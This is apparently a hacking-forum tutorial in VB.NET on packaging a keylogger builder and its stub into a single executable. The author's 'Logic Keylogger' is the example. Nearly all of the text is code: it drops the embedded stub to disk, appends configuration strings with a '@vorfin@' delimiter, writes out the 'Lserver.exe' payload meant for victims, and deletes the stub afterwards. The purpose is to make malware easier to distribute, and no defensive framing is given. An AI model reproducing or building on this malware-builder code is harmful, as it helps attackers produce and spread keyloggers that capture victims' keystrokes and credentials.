.NET Builder With Built In Stub [VB.NET] [TuT]

OK, write your program as normal, so you have a builder and a stub. Now when distributing, the stub causes no end of confusion. So what we really need is to have it all as one .exe.

So lets take one of my older projects, my very basic, Logic Keylogger.

Now currently the code in the builder looks like:

Code 
Imports System.IO

Public Class Form1

    Dim stub, text1, text2 As String

    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        text1 = TextBox1.Text

        text2 = TextBox2.Text

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        stub = Space(LOF(1))

        FileGet(1, stub)

        FileClose(1)

        If File.Exists("Lserver.exe") Then

            My.Computer.FileSystem.DeleteFile("Lserver.exe")

        End If

        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)

        FileClose(1)

    End Sub

End Class

Now as you can see it is calling the stub from the current directory.

Code 
Application.StartupPath & "\Stub.exe"

But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.

So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"

Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of the builder.

Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.

Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.

Code 
Dim b As Byte() = My.Resources.stub

        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"

        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)

        TempFile.Write(b, 0, b.Length)

        TempFile.Close()

And when you have finished, you must delete the stub from the directory. So use this.

Code 
System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

So now, the code for the builder with the stub added as a resource would be.

Code 
Imports System.IO

Public Class Form1

    Dim stub, text1, text2 As String

    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        text1 = TextBox1.Text

        text2 = TextBox2.Text

Dim b As Byte() = My.Resources.stub

        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"

        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)

        TempFile.Write(b, 0, b.Length)

        TempFile.Close()

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        stub = Space(LOF(1))

        FileGet(1, stub)

        FileClose(1)

        If File.Exists("Lserver.exe") Then

            My.Computer.FileSystem.DeleteFile("Lserver.exe")

        End If

        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)

System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

        FileClose(1)

    End Sub

End Class